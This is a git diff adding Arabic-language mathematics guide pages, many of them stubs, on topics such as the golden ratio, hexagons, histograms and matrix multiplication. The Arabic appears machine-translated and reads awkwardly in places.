+الأشكال الهندسية القياسية تشمل الأشكال نفسها التي تشكلها الخطوط. تسمى نقاط النهاية قمة ، مثلثات لها 3 ، مربعات لها 4 منها. في 3 أبعاد ، يمكن أن يكون لديك متوازنة أو كروية أو مخاريط
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/golden-ratio/index.md b/client/src/guide/arabic/mathematics/golden-ratio/index.md
new file mode 100644
index 0000000000..9a58b68110
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/golden-ratio/index.md
@@ -0,0 +1,15 @@
+---
+title: Golden Ratio
+localeTitle: النسبة الذهبية
+---
+## النسبة الذهبية
+
+`PHI = φ = 1.61803398875...`
+
+وتوجد كميتان في النسبة الذهبية إذا كانت نسبتهما مماثلة لنسبة مجموعهما إلى الكميات الأكبر.
+
+بالنظر إلى> b> 0 ، (a + b) / a = a / b = φ
+
+النسبة الذهبية غير عقلانية ، ويمكن تمثيلها كـ (1 + √5) / 2.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/gram-schmidt-process/index.md b/client/src/guide/arabic/mathematics/gram-schmidt-process/index.md
new file mode 100644
index 0000000000..31a2ea7f2e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/gram-schmidt-process/index.md
@@ -0,0 +1,11 @@
+---
+title: Gram Schmidt Process
+localeTitle: عملية غرام شميت
+---
+## عملية غرام شميت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/gram-schmidt-process/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/graph-of-y-equals-sin-x/index.md b/client/src/guide/arabic/mathematics/graph-of-y-equals-sin-x/index.md
new file mode 100644
index 0000000000..3f79dbc66c
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/graph-of-y-equals-sin-x/index.md
@@ -0,0 +1,11 @@
+---
+title: Graph of Y Equals Sin X
+localeTitle: الرسم البياني ل Y يساوي سين X
+---
+## الرسم البياني ل Y يساوي سين X
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graph-of-y-equals-sin-x/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/graphing-a-linear-equation/index.md b/client/src/guide/arabic/mathematics/graphing-a-linear-equation/index.md
new file mode 100644
index 0000000000..592769ee77
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/graphing-a-linear-equation/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing a Linear Equation
+localeTitle: الرسوم البيانية على المعادلة الخطية
+---
+## الرسوم البيانية على المعادلة الخطية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-a-linear-equation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/graphing-basic-logarithmic-functions/index.md b/client/src/guide/arabic/mathematics/graphing-basic-logarithmic-functions/index.md
new file mode 100644
index 0000000000..50f63e3fe5
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/graphing-basic-logarithmic-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Basic Logarithmic Functions
+localeTitle: الرسوم البيانية وظائف لوغاريتمي الأساسية
+---
+## الرسوم البيانية وظائف لوغاريتمي الأساسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-basic-logarithmic-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/graphing-linear-inequalities/index.md b/client/src/guide/arabic/mathematics/graphing-linear-inequalities/index.md
new file mode 100644
index 0000000000..33081bd6f6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/graphing-linear-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Linear Inequalities
+localeTitle: الرسوم البيانية اللامساواة الخطية
+---
+## الرسوم البيانية اللامساواة الخطية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-linear-inequalities/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/graphing-quadratic-functions-the-leading-coefficient-the-vertex/index.md b/client/src/guide/arabic/mathematics/graphing-quadratic-functions-the-leading-coefficient-the-vertex/index.md
new file mode 100644
index 0000000000..1e4217914a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/graphing-quadratic-functions-the-leading-coefficient-the-vertex/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Quadratic Functions the Leading Coefficient the Vertex
+localeTitle: الرسوم البيانية من الدرجة الثانية وظائف المعامل الرئيسي في قمة الرأس
+---
+## الرسوم البيانية من الدرجة الثانية وظائف المعامل الرئيسي في قمة الرأس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-quadratic-functions-the-leading-coefficient-the-vertex/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/graphing-rational-functions-introduction/index.md b/client/src/guide/arabic/mathematics/graphing-rational-functions-introduction/index.md
new file mode 100644
index 0000000000..98484109a2
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/graphing-rational-functions-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Rational Functions Introduction
+localeTitle: الرسوم البيانية وظائف منطقية مقدمة
+---
+## الرسوم البيانية وظائف منطقية مقدمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-rational-functions-introduction/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/graphing-trigonometric-functions/index.md b/client/src/guide/arabic/mathematics/graphing-trigonometric-functions/index.md
new file mode 100644
index 0000000000..c8ef29bbc1
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/graphing-trigonometric-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Trigonometric Functions
+localeTitle: الرسوم البيانية الدوال المثلثية
+---
+## الرسوم البيانية الدوال المثلثية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-trigonometric-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/graphs-of-sine-cosine-and-tangent/index.md b/client/src/guide/arabic/mathematics/graphs-of-sine-cosine-and-tangent/index.md
new file mode 100644
index 0000000000..a1005558ca
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/graphs-of-sine-cosine-and-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphs of Sine Cosine and Tangent
+localeTitle: الرسوم البيانية من جيب Cosine و Tangent
+---
+## الرسوم البيانية من جيب Cosine و Tangent
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphs-of-sine-cosine-and-tangent/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/graphs-of-trigonometric-functions/index.md b/client/src/guide/arabic/mathematics/graphs-of-trigonometric-functions/index.md
new file mode 100644
index 0000000000..4a9b294613
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/graphs-of-trigonometric-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphs of Trigonometric Functions
+localeTitle: الرسوم البيانية من وظائف المثلثية
+---
+## الرسوم البيانية من وظائف المثلثية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphs-of-trigonometric-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/greatest-common-factor/index.md b/client/src/guide/arabic/mathematics/greatest-common-factor/index.md
new file mode 100644
index 0000000000..42d3d9ffc0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/greatest-common-factor/index.md
@@ -0,0 +1,11 @@
+---
+title: Greatest Common Factor
+localeTitle: العامل المشترك الاكبر
+---
+## العامل المشترك الاكبر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/greatest-common-factor/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/half-angle-formulas/index.md b/client/src/guide/arabic/mathematics/half-angle-formulas/index.md
new file mode 100644
index 0000000000..52100e2200
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/half-angle-formulas/index.md
@@ -0,0 +1,11 @@
+---
+title: Half Angle Formulas
+localeTitle: نصف زاوية الصيغ
+---
+## نصف زاوية الصيغ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/half-angle-formulas/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/hexadecimal-number-system/index.md b/client/src/guide/arabic/mathematics/hexadecimal-number-system/index.md
new file mode 100644
index 0000000000..f2c55d76dd
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/hexadecimal-number-system/index.md
@@ -0,0 +1,11 @@
+---
+title: Hexadecimal Number System
+localeTitle: نظام رقم سداسي عشري
+---
+## نظام رقم سداسي عشري:
+
+نظام الأرقام السداسي العشري هو نظام ترقيم يستخدم الأساس 16. Hexa = 6 والعشري = 10 ، تركيبة من 'hexa' و 'decimal' تستخدم نظام رقم 16 الأساسي. الأرقام بالنظام الست عشري هي: 0 ، 1 ، 2 ، 3 ، 4 ، 5 ، 6 ، 7 ، 8 ، 9 ، 10 = A ، 11 = B ، 12 = C ، 13 = D ، 14 = E و 15 = F. نظام الرقم السداسي العشري مفيد جدا في مجال الحوسبة مثل التشفير.
+
+#### معلومات اكثر:
+
+[ويكيبيديا](https://en.m.wikipedia.org/wiki/Hexadecimal)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/hexagon/index.md b/client/src/guide/arabic/mathematics/hexagon/index.md
new file mode 100644
index 0000000000..62ceffd266
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/hexagon/index.md
@@ -0,0 +1,29 @@
+---
+title: Hexagon
+localeTitle: سداسي الزوايا
+---
+## سداسي الزوايا
+
+السداسي هو مضلع ذو ستة جوانب. مجموع الزوايا الداخلية يبلغ 720 درجة. في مسدس منتظم ، كل زاوية فردية تقيس 120 درجة.
+
+![a regular hexagon](https://upload.wikimedia.org/wikipedia/commons/thumb/c/cb/Hexagon_1.svg/2000px-Hexagon_1.svg.png)
+
+### منطقة
+
+الصيغة لمنطقة مسدس منتظم مع طول جانبي `s` هي:
+
+`A = (3√3*s<sup>2</sup>)/ 2`
+
+بالنسبة إلى الشكل السداسي ذي الطول الجانبي 4 ، يتم حساب المنطقة على النحو التالي:
+
+`(3√3*<b>4</b><sup>2</sup>)/ 2 ≈ 41.57`
+
+### أمثلة
+
+مثال طبيعي على الشبكة سداسية الشكل هي أقراص العسل النحل.
+
+![قرص العسل](https://upload.wikimedia.org/wikipedia/commons/3/3d/Honeycomb_15_03_2012.jpg)  
+
+مثال غير طبيعي لشبكة سداسية هو مبنى محكمة نيويورك العليا في ساحة فولي ، مانهاتن:
+
+![مبنى المحكمة العليا في نيويورك](http://www.secretsinplainsight.com/wp-content/uploads/NY-Supreme-Court.jpg)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/histograms/index.md b/client/src/guide/arabic/mathematics/histograms/index.md
new file mode 100644
index 0000000000..65c594ab8a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/histograms/index.md
@@ -0,0 +1,13 @@
+---
+title: Histograms
+localeTitle: رسوم بيانية
+---
+## رسوم بيانية
+
+الرسم البياني هو مخطط لاكتشاف توزيع التردد الأساسي لمجموعة البيانات. والفكرة العامة هي تقسيم مجموعة البيانات إلى مجموعات متساوية الطول لتصور نمط القائمة الأساسية للأرقام.
+
+تعد Histograms وسيلة لعرض البيانات الرقمية مرئيًا استنادًا إلى توزيعها. قد تبدو هذه الرسوم البيانية مشابهًا للرسومات البيانية الشريطية ، ولكنها تستخدم مجموعات من المعلومات بدلاً من نقاط البيانات الفردية. ينتج عن ذلك فواصل زمنية غير متداخلة للبيانات لمعرفة المزيد حول توزيع البيانات عبر نطاق البيانات الإجمالي. شاهد فيديو على المدرج الإحصائي [هنا](https://www.khanacademy.org/math/pre-algebra/pre-algebra-math-reasoning/pre-algebra-picture-bar-graphs/v/histograms) .
+
+#### معلومات اكثر:
+
+[فهم الرسوم البيانية](https://statistics.laerd.com/statistical-guides/understanding-histograms.php) [رسوم بيانية](https://www.mathsisfun.com/data/histograms.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/horizontal-asymptotes/index.md b/client/src/guide/arabic/mathematics/horizontal-asymptotes/index.md
new file mode 100644
index 0000000000..fd58f3d49a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/horizontal-asymptotes/index.md
@@ -0,0 +1,11 @@
+---
+title: Horizontal Asymptotes
+localeTitle: الخطوط المقاربة الأفقية
+---
+## الخطوط المقاربة الأفقية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/horizontal-asymptotes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/how-to-add-and-subtract-with-powers/index.md b/client/src/guide/arabic/mathematics/how-to-add-and-subtract-with-powers/index.md
new file mode 100644
index 0000000000..96c9293ba1
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/how-to-add-and-subtract-with-powers/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Add and Subtract with Powers
+localeTitle: كيفية إضافة وطرح مع القوى
+---
+## كيفية إضافة وطرح مع القوى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-add-and-subtract-with-powers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/how-to-calculate-the-margin-of-error-for-a-sample-proportion/index.md b/client/src/guide/arabic/mathematics/how-to-calculate-the-margin-of-error-for-a-sample-proportion/index.md
new file mode 100644
index 0000000000..47b7d9074c
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/how-to-calculate-the-margin-of-error-for-a-sample-proportion/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Calculate the Margin of Error for a Sample Proportion
+localeTitle: كيفية حساب هامش الخطأ لنسبة عينة
+---
+## كيفية حساب هامش الخطأ لنسبة عينة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-calculate-the-margin-of-error-for-a-sample-proportion/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/how-to-calculate-the-mean-value/index.md b/client/src/guide/arabic/mathematics/how-to-calculate-the-mean-value/index.md
new file mode 100644
index 0000000000..4dbc06ae60
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/how-to-calculate-the-mean-value/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Calculate the Mean Value
+localeTitle: كيف تحسب متوسط ​​القيمة
+---
+## كيف تحسب متوسط ​​القيمة
+
+متوسط ​​يعني متوسط ​​الأرقام.
+
+#### أمثلة
+
+1.  ما هو متوسط ​​10 ، 2 ، 3؟ أ. يعني = (10 + 2 + 3) / 3 ، = 15/3 ، = 5. إذن ، المتوسط ​​10 ، 2 ، 3 هو 5.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/how-to-determine-a-p-value-when-testing-a-null-hypothesis/index.md b/client/src/guide/arabic/mathematics/how-to-determine-a-p-value-when-testing-a-null-hypothesis/index.md
new file mode 100644
index 0000000000..0bd2d8c443
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/how-to-determine-a-p-value-when-testing-a-null-hypothesis/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Determine a P Value When Testing a Null Hypothesis
+localeTitle: كيفية تحديد قيمة P عند اختبار فرضية Null
+---
+## كيفية تحديد قيمة P عند اختبار فرضية Null
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-determine-a-p-value-when-testing-a-null-hypothesis/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/how-to-divide-exponents/index.md b/client/src/guide/arabic/mathematics/how-to-divide-exponents/index.md
new file mode 100644
index 0000000000..53a5247296
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/how-to-divide-exponents/index.md
@@ -0,0 +1,21 @@
+---
+title: How to Divide Exponents
+localeTitle: كيفية تقسيم الأسس
+---
+## كيفية تقسيم الأسس
+
+يمكنك تقسيم التعبيرات الأسية ، مع ترك الإجابات كتعبيرات أسية ، طالما أن القواعد هي نفسها.
+
+لتقسيم الأسس (أو القوى) بنفس القاعدة ، اطرح الأسس. التقسيم هو عكس الضرب ، لذلك من المنطقي أن تقوم بإضافة الأسس عند ضرب الأرقام بنفس القاعدة ، تقوم بطرح الأس عند تقسيم الأرقام بنفس القاعدة.
+
+#### المصطلح
+
+a ^ b ، لذا فإن a هي القاعدة و b أسية.
+
+#### أمثلة
+
+![مثال](http://d2r5da613aq50s.cloudfront.net/wp-content/uploads/165077.image0.png)
+
+#### ملحوظة
+
+أي رقم لقوة صفر يساوي 1 ، طالما أن الرقم الأساسي ليس 0.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/how-to-factor-a-polynomial-expression/index.md b/client/src/guide/arabic/mathematics/how-to-factor-a-polynomial-expression/index.md
new file mode 100644
index 0000000000..7139e4c6da
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/how-to-factor-a-polynomial-expression/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Factor a Polynomial Expression
+localeTitle: كيفية التعامل مع كثيرات الحدود
+---
+## كيفية التعامل مع كثيرات الحدود
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-factor-a-polynomial-expression/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/how-to-find-probabilities-for-z-with-the-z-table/index.md b/client/src/guide/arabic/mathematics/how-to-find-probabilities-for-z-with-the-z-table/index.md
new file mode 100644
index 0000000000..30e065be7a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/how-to-find-probabilities-for-z-with-the-z-table/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Find Probabilities for Z with the Z Table
+localeTitle: كيفية البحث عن الاحتمالات ل Z مع جدول Z
+---
+## كيفية البحث عن الاحتمالات ل Z مع جدول Z
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-find-probabilities-for-z-with-the-z-table/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/how-to-find-the-limit-of-a-function-algebraically/index.md b/client/src/guide/arabic/mathematics/how-to-find-the-limit-of-a-function-algebraically/index.md
new file mode 100644
index 0000000000..14b18b861e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/how-to-find-the-limit-of-a-function-algebraically/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Find the Limit of a Function Algebraically
+localeTitle: كيفية العثور على الحد من وظيفة جبري
+---
+## كيفية العثور على الحد من وظيفة جبري
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-find-the-limit-of-a-function-algebraically/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/how-to-find-the-median-value/index.md b/client/src/guide/arabic/mathematics/how-to-find-the-median-value/index.md
new file mode 100644
index 0000000000..b312833333
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/how-to-find-the-median-value/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Find the Median Value
+localeTitle: كيفية العثور على القيمة المتوسطة
+---
+## كيفية العثور على القيمة المتوسطة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-find-the-median-value/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/how-to-interpret-a-correlation-coefficient-r/index.md b/client/src/guide/arabic/mathematics/how-to-interpret-a-correlation-coefficient-r/index.md
new file mode 100644
index 0000000000..0703135d0b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/how-to-interpret-a-correlation-coefficient-r/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Interpret a Correlation Coefficient R
+localeTitle: كيفية تفسير معامل الارتباط R
+---
+## كيفية تفسير معامل الارتباط R
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-interpret-a-correlation-coefficient-r/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/how-to-multiply-matrices/index.md b/client/src/guide/arabic/mathematics/how-to-multiply-matrices/index.md
new file mode 100644
index 0000000000..c132425407
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/how-to-multiply-matrices/index.md
@@ -0,0 +1,49 @@
+---
+title: How to Multiply Matrices
+localeTitle: كيفية مضاعفة المصفوفات
+---
+## كيفية مضاعفة المصفوفات
+
+القاعدة المانعة الأولى هي: يجب أن يتطابق عدد الأعمدة في المصفوفة A مع عدد الصفوف في العمود ب.
+
+القاعدة الثانية لحساب ناتج المصفوفتين هي: Line X Column.
+
+![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Matrix_multiplication_principle.svg/320px-Matrix_multiplication_principle.svg.png)
+
+وسيكون بعد المصفوفة الناتج صفوفا من أعمدة المصفوفة الأولى من المصفوفة الثانية.
+
+دع A و B هما مصفوفان من البعد 2 ، أي 2 X 2. سيكون منتجهما:
+
+![](http://www.i-programmer.info/images/stories/News/2011/DEC/A/matrix1.jpg)
+
+إن صفوف مصفوفة الصيغ هي مجموع منتج عناصر الصفوف الأولى حسب عناصر عمود المصفوفة الثاني.
+
+#### مثال
+
+دع A يكون مصفوفة 2 X 3 و B تكون مصفوفة 3 X 2. سيكون المنتج AB:
+
+*   **الخطوة 1**
+
+![](http://www.mathportal.org/linear-algebra/matrices/matrix-operations_files/12.gif)
+
+*   **الخطوة 2**
+
+![](http://www.mathportal.org/linear-algebra/matrices/matrix-operations_files/13.gif)
+
+*   **الخطوه 3**
+
+![](http://www.mathportal.org/linear-algebra/matrices/matrix-operations_files/14.gif)
+
+*   **الخطوة 4**
+
+![](http://www.mathportal.org/linear-algebra/matrices/matrix-operations_files/15.gif)
+
+#### انتباه!
+
+بشكل مختلف عن الجبر الحقيقي للأرقام ، لا يكون المنتج AB دائمًا على درجة البكالوريوس. حسابها باستخدام المثال أعلاه ومعرفة.
+
+#### معلومات اكثر:
+
+![محاضرة عن مضاعفات المصفوفات](https://www.khanacademy.org/math/precalculus/precalc-matrices/multiplying-matrices-by-matrices/v/matrix-multiplication-intro)
+
+![خصائص الضرب المصفوفة](https://www.khanacademy.org/math/precalculus/precalc-matrices/properties-of-matrix-multiplication/a/properties-of-matrix-multiplication)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/how-to-use-the-t-table-to-solve-statistics-problems/index.md b/client/src/guide/arabic/mathematics/how-to-use-the-t-table-to-solve-statistics-problems/index.md
new file mode 100644
index 0000000000..17b0e6a4fe
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/how-to-use-the-t-table-to-solve-statistics-problems/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Use the T Table to Solve Statistics Problems
+localeTitle: كيفية استخدام جدول T لحل مشاكل الإحصائيات
+---
+## كيفية استخدام جدول T لحل مشاكل الإحصائيات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-use-the-t-table-to-solve-statistics-problems/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/how-to-use-the-z-table/index.md b/client/src/guide/arabic/mathematics/how-to-use-the-z-table/index.md
new file mode 100644
index 0000000000..64bb836c25
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/how-to-use-the-z-table/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Use the Z Table
+localeTitle: كيفية استخدام Z الجدول
+---
+## كيفية استخدام Z الجدول
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-use-the-z-table/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/how-to-work-with-30-60-90-degree-triangles/index.md b/client/src/guide/arabic/mathematics/how-to-work-with-30-60-90-degree-triangles/index.md
new file mode 100644
index 0000000000..4d8f856909
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/how-to-work-with-30-60-90-degree-triangles/index.md
@@ -0,0 +1,16 @@
+---
+title: How to Work with 30 60 90 Degree Triangles
+localeTitle: كيفية العمل مع 30 60 90 مثلثات درجة
+---
+## كيفية العمل مع 30 60 90 مثلثات درجة
+
+المثلث 30-60-90 هو مثلث قائم خاص بزاوية 30 درجة و 60 درجة و 90 درجة. وبسبب خاصية الزوايا هذه ، تكون جوانب المثلث دائمًا في النسبة التالية:
+
+الجانب المقابل لزاوية ° 30: الجانب المقابل لزاوية ° 60: الجانب المقابل لزاوية ° 90 = ![](https://latex.codecogs.com/svg.latex?$&space;1&space;:&space;\sqrt{3}&space;:&space;2&space;$ "1 دولار: \ sqrt {3}: 2 دولار")  
+
+إذا تم ذكر أن المثلث المعطى هو مثلث 30-60-90 وأن أحد الجوانب يتم إعطاؤه يمكننا حساب مقاييس الجوانب الأخرى.
+
+النظر في مثلث 30-60-90 مع الوتر (الجانب المعاكس إلى 90 درجة) هو 6.  
+ثم قياس الجانب المعاكس إلى 30 درجة هو 3 وقياس الجانب المعاكس إلى 60 درجة ![](https://latex.codecogs.com/svg.latex?$&space;3\sqrt{3}&space;$ "$ 3 \ sqrt {3} دولار")
+
+وبالمثل ، يمكننا حساب مقياس الجوانب المتبقية عند إعطاء قياس لأحد الجوانب.
\ No newline at end of file
